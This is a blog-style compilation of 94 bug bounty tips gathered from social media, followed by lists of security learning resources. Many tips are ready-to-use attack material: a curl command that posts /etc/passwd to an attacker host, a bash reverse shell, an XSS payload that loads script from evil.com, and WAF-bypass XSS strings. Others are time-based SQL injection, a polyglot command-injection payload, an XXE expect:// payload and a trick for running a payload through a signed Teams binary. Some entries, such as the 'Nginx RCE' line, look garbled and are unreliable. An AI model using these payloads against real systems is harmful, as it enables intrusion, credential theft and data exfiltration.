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Collection Of Bug Bounty Tip-Will

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Bbinfosec
Jan 29 · 12 min read

Whenever i see for bug bounty tips and tricks i wish to make it up a note , The following
were the bug bounty tips o ered by experts at twitter ,slack,what sapp,discord etc.

Original credits goes to respective authors ,I just collected it and listed here as one stop
reference ,For authors please verify #bugbountytip on twitter.

Recon Map :

The following recon map i found on twitter which is very interesting, Use it wise.

Recon map 1
Some Mindmap

You Can nd original detailed image over at https://github.com/dsopas/assessment-

mindset
 Mindmap For assets

Work ow

Finding Server Side Issues :

Server Side issues roadmap,Credits :Imranparray

Bug bounty Target data :

https://github.com/arkadiyt/bounty-targets-data

List of tips :
Tips & Tricks :

1)Execute a google dork site:”http://amazonaws.com “ brand will help you nd S3

buckets and some LB’s to help nd the real ip

2)Try to recon https://storage.googleapis.com/Org-name-here you may nd internal

documentation which aren’t supposed to be public.

3)If you got ‘Subdomain Takeover’ don’t report it yet, look at the main site/app for gain
privileges: like a potential CSP policy bypass (or session hijacking via Set-cookie:
*.domain.com

4)Always bruteforce http://subdomain.corp.website.com and *.dev.*

5)Look for port 9200{elastic search) and nd juicy stu ,Use shodan.io using org:”org
name”query

6)Found an s3 bucket behind the CDN,Change to https it might reveal up

7)Search for public Trello boards of companies, to nd login credentials, API keys, etc.
or if you aren’t lucky enough, then you may nd companies’ Team Boards sometimes
with tasks to x security vulnerabilities

8)remember that Github is your friend — Check dot les of company’s employees —
Search for DevOps projects shared (fork) between employees (ansible, Cassandra,
Azure,..) => you get Login credential, API key, Private keys — Always follow the
manual approach

9)Use https://cse.google.com/cse/all and create a custom search for

*http://target.com , It works neat for targets with big scope.

10)Blind RCE — Grabs /etc/passwd and dumps it to your netcat listener via POST `cat
/etc/passwd | curl -X POST -d @- http://yourip:yourport/`

11)Blind RCE-turn it in to a reverse shell! |`bash -i >& /dev/tcp/yourip/yourport

0>&1`

12)Sometimex xss payload :

<sVg/oNloAd=”JaVaScRiPt:/**\/*\’/”\eval(atob(‘Y29uZmlybShkb2N1bWVudC5kb21
haW4pOw==’))”> <iframe
src=jaVaScrIpT:eval(atob(‘Y29uZmlybShkb2N1bWVudC5kb21haW4pOw==’))>

13)If the target is using @Cloud are , dig in their DNS records and search for the
origins IP address. If you attack the application directly by his IP’s cloud are WAF will
not be there :)

14)Look for developers of the organisation (Linkedin, http://hunter.io , ..) and use their
name in github. Look for repositories which are public but shouldn’t be.

15)If you come across a request which has di action(s), ex —

example[dot]com/someendpoint?type=search&query=test, always try di erent action
like `type=users`, `type= accounts`, `type= details`, you might get some good
surprises ;)
16)Search for hidden (and visible) input elds and try to set the value via GET… a lot of
Webapps still use $_REQUEST… you will be surprised ;) if you have a re ected value ->
check of html/script injection ;)

17)Use commoncrawl for nding subdomains and endpoints. Sometimes you nd

endpoints that can’t directly be visited from the UI but has been indexed from other
sites- curl -sX GET “http://index.commoncrawl.org/CC-MAIN-2018-22-index?
url=*.$1&output=json …” | jq -r .url | sort -u

18)Uploading le with .url might result in XSS :) Chrome doesn’t support it yet but
works like a charm with FOX

19)Sometimes you nd those PATHs that forwards to a login page & you can’t see the
content inside them. (ex: /path/to/secret → Google login) Take all these PATHs,
prepend /public/ to all of them as: /public/path/to/secret , got access to a Jenkins
instance.. [1]

20)if server only allows GET and POST method, then try adding “X-HTTP-Method -
Override: PUT to achieve RCE via PUT method

21)Found an endpoint which is doing something with images? Give this a shot >
request=input&&id , request=input|id , request=input`id` or you can even setup a NC
& try request=input&&http://wgetyourserver.com :port & so on.

22)Want to nd some internal code of companies or some sample codes of new

features? Checkout with: site:http://repl.it intext:<companydomain>. In
companydomain, if you know the internal domain it is even better.

23)if a website does not verify email, try signing up with <whatev>@domain.com (the
company email). Sometimes this gives you higher privilege like deleting/viewing any
other user’s pro les etc.

24)If you nd a LFI ignore /etc/passwd and go for

/var/run/secrets/kubernetes.io/serviceaccount this will raise the severity when you
hand them a kubernetes token or cert.

25)inside a #container / #pod that has no wget/curl?try busybox…busybox wget -q -O

— http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key

26)If you have found server (http://foo.company.com ) which redirects you

immediately to http://bar.company.com , always run resources enumeration (dirb,
wfuzz etc.) against http://foo.company.com You can nd something “hidden”
sometimes

27)See an API Endpoint displaying senstive data?Add a jsonp or callback parameter and
try to leak it using XSS

28)It’s possible to bypass #CSP with the following : #JSONP: <script

src=”https://trustedsite/jsonp?callback=payload"> #AngularJS <script
src=”https://trustedsite/angularjs/1.1.3/angularjs.min.js"> <div ng-app ng-csp id=p
ng-click=$event.view.alert(1)>
29)Simple payload for postgresql , easy 2000$ :) 1 AND 1=(select 1 from
PG_SLEEP(10)) — ‘ AND 1=(select 1 from PG_SLEEP(10)) OR ‘1’=’

30)Simple payload for postgreesql 1 AND 1=(select 1 from PG_SLEEP(10)) — ‘ AND

1=(select 1 from PG_SLEEP(10)) OR ‘1’=’

31)Xss on s3 buckets alerts on s3 domain, it’s a low priority bug. Better nd a re ected
xss on main domain and iframe it on s3 xss. You can get an account takeover

32)It’s possible to re up “#OS #Command #Injection” instead of #XSS in

Filename.PDF?parameter=PAYLOAD+|+Dir+c:\

33)Try to change protocol to bypass open redirect protection. http://example.com ->

ftp://example.com You might be lucky

34)You can turn an input box into automatic XSS by setting agnostic payload on the
“onfocus” attribute and then setting it to “autofocus”. Eg: <input onfocus=”alert(0);”
autofocus> This will result in automatic XSS (no user interaction).

35)In case you wanted to test an SSRF but don’t own a vps and burp collaborator is
blocked you can use this https://canarytokens.org/generate #bugbounty

36)Change the User-Agent to your blind XSS payload and traverse the site. Like visiting
site links, lling some forms etc. Sometimes blind XSS may red if you are lucky enough

37)When the le protocol handler doesn’t work, sometimes Netdoc can be your friend.
Just saying :)

38)Encountered with AWS WAF? Just add “<!” (without quotes) before your payload
and bypass that WAF. :) eg: <!<script>alert(1)</script>

39)There’s a good chance to catch #Modi ed, #Incomplete or even #Broken endpoints
in the lower environments such #qa #uat #dev #dr #staging #stage #test #sandbox
#www2 Sub-domains.

40)Found tomcat on windows https://x.x.x.x/.//WEB-INF/web.xml -> 200 OK

41)If website has CSRF token or any secret key on response try CORS Misconguration
issue. You can steal secret tokens

42)Get a larger scope by using same dork on multiple search engines, eg

inurl:”/reports/rwservlet/” to get Oracle reports which are prone to XSS (CVE-2019–
2413) produces signi cantly di erent results on google and bing.

43)Collect subdomains with regexp BurpPro -> search -> type (\w+)?
\.?http://domain.com Regexp: (\w+)?\.?http://domain.com Try and you collect with
subdomains very interesting endpoints.

44)In a cloud test if you nd a .cspkg le its a gold mine, its a zip le with all the
compiled code and con g les.

45)A single #RCE payload rule them all , easy 6000$ ;)

1;sleep${IFS}9;#${IFS}’;sleep${IFS}9;#${IFS}”;sleep${IFS}9;#${IFS}
46) Dont just look at newer versions of apps. Sometimes you can derive API keys from
the older apps that still work!

47) And analyze apps in both way (Statically and Dynamically) to increase a bugs
triggering chances.

48)Cloud are Bypass: <a

href=”j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;\u0061\u006C\u0065\u0
072\u0074&lpar;this[‘document’][‘cookie’]&rpar;”>X</a>

49)If you get a shell on a machine with ~/.aws/credentials further esculate to the
actual bucket or ec2 instances. Commands: aws s3 ls s3://XXX/directory/ — pro le
username and aws ec2 describe-instances — pro le username.

50)nmap — script “http-*” IP/target — Will run 30+ scripts related to http. Everything
from sqli injection to con g backups checkout more at the docs

51)Always do directory Brute forcing on all sub-domain even on 403 page. Sometimes
you will get .git le and you can download whole web application source code.

52)Deserializing is really e ective. Never take for granted the lack of industry standards
implemented into hashes and other encrypted strings uses by web applications.

53)Got a SSRF? no metadata endpoints to hit? Try

https://kubernetes.default.svc/metrics if you get a load crap come back jackpot you’ve
hit the kubernetes API and this should indicate it’s shit the bed time for any security
team. (url can change).

54)Here is my obfuscated payload. It bypasses lots of WAF, including CloudFlare iirc.

<iframe
src=”%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aalert(0)”>
iFrame with javascript URI payload. Line feeds [CRLF] obfuscate it.

55)Found a company running an open source system and cannot nd a CVE for it?
Download and setup the open source system yourself and see where you mess up. Best
chances are you will nd some common easy-to-miss miscon g that the admin made

56)When injecting into src attributes, you need a javascript URI payload! Here is a good
payload I created using a load of linefeeds to bypass WAF:
%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aalert(0) Work with
link + iframe.

57)Many sites log in with the user after they reset the password through some token, in
some cases you can bypass 2FA only by resetting your password, if you are lucky, after
that your account will be logged in without needing to con rm anything else.

58)Payload will run in a lot of contexts. javascript:”/*’/*`/* →<html \”

onmouseover=/*&lt;svg/*/onload=alert()//> Short but lethal. No script tags, thus
bypassing a lot of WAF and executes in multiple environments.

59)Always look for any parameters re ecting in the javascript functions like in a
variable. If there is no url encoding of characters like ; ) } you can close that function to
insert your malicious javascript Ex. ;)}alert(1)/

60)via burpsuite search to nd some open redirect , search “=http” or “=aHR0” base64
encode http from “Request header” and status code 30X you also can use this tip to nd
some SSRF.

61)To get an error page or stack trace in ASP based application you can try below
directories — 1. /con/ 2. /aux/ 3. con.aspx 4. aux.aspx

62)Sometimes user input is re ected into a value without any quotations. Eg:<input
value={input}> Just add a space and you can now inject onfocus=alert(0) autofocus
for XSS! Works even against htmlspecialchars().

63)To nd vuln domains & subdomains that is currently pointed to GitHub due to
misconf. Try searching the syntax on publicwww. “There isn’t a Github Pages site
here” It will return thousands of pages containing domains & subdomains that could be
vuln to Takeover.

64)Here is a cool SSRF #bugbountytip if you are in heroku: 1) try calling

/app/Proc le to get the installation instructions that a dev had when deploying to
heroku,2)if that loads and you know what stack it uses, you should be able to nd the
source code of the app in /app directory. For example if it is rails, you can pull routes.rb
by calling /app/con g/routes.rb. The app folder is the main directory where all
deployed code is stored.

65)Add to scope all your target subdomains on @Burp_Suite “Target” tab >>
“Scope” >> “Use advanced scope control” checkbox >> “Add” button >> Set
Protocol: Any — Host/IP range: .*\.domain\.com$ >>

66) Some AEM instances may respond di erently to di erent browsers. e.g.
https://website/apps/..tidy.3....json/t.js on Chrome will give HTTP 200 whereas
Firefox will return HTTP 404.

67)Port 50070 hadoop No authentication Access to logs and read write access to
directories

68) Hunting For Endpoints while Bughunting developer options Could Be handy for u
press ctrl+shift+j click on network and reload the page , few endpoints ,url’s and also u
can nd subdomain too.

69) An example of why monitoring SSL certs up to date is important: I got a list of
unique subdomains for a company last week from March dataset. Now, when compared
to May dataset, May had an addition of 2,000 UNIQUE subdomains. Your recon is not
good if not updated.

70) Need to copy terminal output to the clipboard on X11? install xclip: apt-get install
xclip setup bash alias: alias xclip=’xclip -selection c’ pro t: egrep ‘interesting’ <corpus>
| xclip (OSX? see pbcopy/pbpaste!)

71) Have you ever come across a Grafana instance while doing recon? Sometimes you
can bypass company SSO (when only login is shown) by going directly to “/signup” and
registering with your own credentials (or try default admin:admin).
72) f you nd a Google Maps API Key , try to use it here :
https://developers.google.com/maps/documentation/maps-static/intro … . This could
lead to nancial losses for a company.

73) Always try to throw a quick % in search elds and so on as well :). It may end up in a
LIKE statement and return all :)

74) Disable Android SSL pinning using Objection+Frida pip3 install -U objection
(Download frida-server, push to /data/local/tmp on rooted device and start it using adb
shell.) objection — gadget “http://com.target.app ” explore android sslpinning disable

75) When fuzzing endpoints remember to perform authenticated fuzzing: dirsearch,

wfuzz, and uf all support user headers; make good use out of them and supply your
auth cookies!

76) If you want to put spaces in a cmd: #<!ENTITY xxe SYSTEM “expect://ls$IFS-
la$IFS/”>]>

77) Captcha bypass: -The Captcha generated based on a given MD5 string — Wrote a
bot to randomly generate MD5 of 6 characters string and use it as Captcha to login !

78) Bypass Custom Firewall with URL encoding technique: Final Payload:
%253%63svg%2520onload=alert(1)%253%65 the rewall was blocking “%253c”,
Trick: %25 3 %63 -> when the app decoded it, it become %3c -> app decoded it again
and it become < and get alert

79) Have a char limit for XSS? See if it’s appended with other elds ( rst + last name).
You can then split the payloads (this case needed JQuery to load ext script): FirstName:
“><svg/onload=“$.getScript(‘http://‘+ LastName: ‘http://evil.com ’)

80) Want to automate user enumeration of wordpress sites on all subdomains and then
bruteforce identifed users? read le; amass enum -o subdomains.txt -d $file; cat
subdomains.txt | while read url; do wpscan — url https://”$url” -P passwords.txt -t 50 -
o output/”$url”.txt;

81) OneLiner extracts all API endpoints from AngularJS & Angular javascript les:
curl -s URL | grep -Po “(\/)((?:[a-zA-Z\-_\:\.0–9\{\}]+))(\/)*((?:[a-zA-Z\-_\:\.0–9\
{\}]+))(\/)((?:[a-zA-Z\-_\/\:\.0–9\{\}]+))” | sort -u

82)Oneliner to get commoncrawl assets!

curl -sL http://index.commoncrawl.org | grep ‘href=”/CC’ | awk -F’” ’ ‘{print $2}’ |

xargs -n1 -I{} curl -sL http://index.commoncrawl.org {}-index?url=http://url/ * | awk
-F’”url”:\ “‘ ‘{print $2}’ | cut -d’” ’ -f1 | sort -u | tee domain.txt

83) Copy your payload into %userpro le%\AppData\Local\Microsoft\Teams\current\

Then %userpro le%\AppData\Local\Microsoft\Teams\Update.exe — processStart
payload.exe — process-start-args “whatever args” Trusted signed binary will run the
payload for you

84) Nginx RCE Over ow : curl -gsS https://victim.server.here:443/../../../%00/nginx-

handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00vic
tim.server.here/../../../%00/n …\<’protocol:TCP’ -O 0x0238f06a#PLTo set |sh; nc
/dev/tcp/localhost

85) Test SQLi + XSS + SSTI with the same payload use

SQLI+XSS+SSTI

86) Open redirects can be escalated at times:

Open Redirect + Micon gured OAuth App => OAuth Token Stealing

Open Redirect + Filtered SSRF => SSRF

Open Redirect + CRLFi => XSS

Open Redirect + javascript URI => XSS

87) “site:*.domain.com ext:html” is a good Google dork for nding old, no longer linked
static HTML pages that might contain buggy JS that could lead to XSS

88) XSS Cloud are WAF bypass:

<img%20id=%26%23x101;%20src=x%20onerror=%26%23x101;;alert`1`;>

payload 2: <select><noembed></select><script
x=’a@b’a>y=’a@b’//a@b%0a\u0061lert(1)</script x>

payload 3:
<a+HREF=’%26%237javascrip%26%239t:alert%26lpar;document.domain)’>

89)If you are testing access to S3 buckets and do not want to con gure credentials for
testing use — no-sign-request. ‘aws s3 command S3://bucket/ le — no-sign-request’

90) you can use this tool to dynamically generate your own security (XSS,SQLI,email-
format,etc,) payloads for fuzz testing: (link: https://gitlab.com/akihe/radamsa)
gitlab.com/akihe/radamsa example: echo “<script>alert(1)</script>” | radamsa -n 5
— patterns od

91) SQL WAF-Fail2Ban Payload via dot

(SELECT 6037 FROM(SELECT COUNT(*),CONCAT(0x7176706b71,(SELECT

(ELT(6037=6037,1))),0x717a717671,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

92)Access the site without loging into account you will get some hidden endpoints
which are overlooked by others.
93)Forget the subdomains for recon! go directly for the ASN & hit the network-range
organization: A new world arises without waf’s, a lot of messy SSL certs, unprotected
hosts & private hidden.

94) If your target requires phone number veri cation and you need more accounts, you
can just buy a really cheap prepaid SIM card, and without topping it up, you can recieve
the veri cation codes in SMS!

Will be updated..!

Some other resources which will help you to groom further as below :

rinetd/BurpSuite-1
BurpSuite using the document and some extensions. Contribute to
rinetd/BurpSuite-1 development by creating an account…

github.com
 Hackfest.ca

DEFCON

BugCrowd

HackerOne

Peter Yaworski

Books
Web Hacking 101

The Web Application Hacker’s Handbook: Finding and Exploiting Security Flaws

Breaking into Infosec

Mastering Modern Web Penetration Testing

Penetration Testing: A Hands-On Introduction to Hacking

Metasploit: The Penetration Tester’s Guide

PoC or GTFO

Crypto 101( free)

OWASP
The Open Web Application Security Project aims to improve software security by
providing guidelines and learning resources.

Top 10

Complete testing guide

Miscellaneous references

The Bug Bounty Hunter Methodology

Bugcrowd — How to become a Bug Bounty Hunter

Online sandbox

Backdoor

Hack the box

Pwnable

RingZer0
 RingZer0

Virtual machines

Exploit Exercices

Vulnhub

OWASP’s Interactive learning platform

WebGoat

NodeGoat

Security Shepherd

Hackademic challenges

More practice sites listing

Black.Room Security

CAPTF

Penetration testing lab mind map

Conference Talks:

https://infocon.org/

Youtube Talk :

Some additional sites :

#bugbountytip ~ Latest bug bounty related tweets

Just launched v1.0 of https://t.co/jZS6PtN22C ~ Latest bug bounty related
tweets ~ #bugbountytip

bugbountytip.com
 blaCCkHatHacEEkr/PENTESTING-BIBLE
Leran Ethical Hacking and penetration testing .hundreds of ethical hacking
&amp; penetration testing &amp; red team…

github.com

0xInfection/Awesome-WAF
Everything awesome about web-application rewalls (WAF). -
0xInfection/Awesome-WAF

github.com

No rights
reserved by the author.

Bug Web Security

Security Bounty Tips Testing Tricks

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Bbinfosec
Just another guy whom loves to play around 0 and 1
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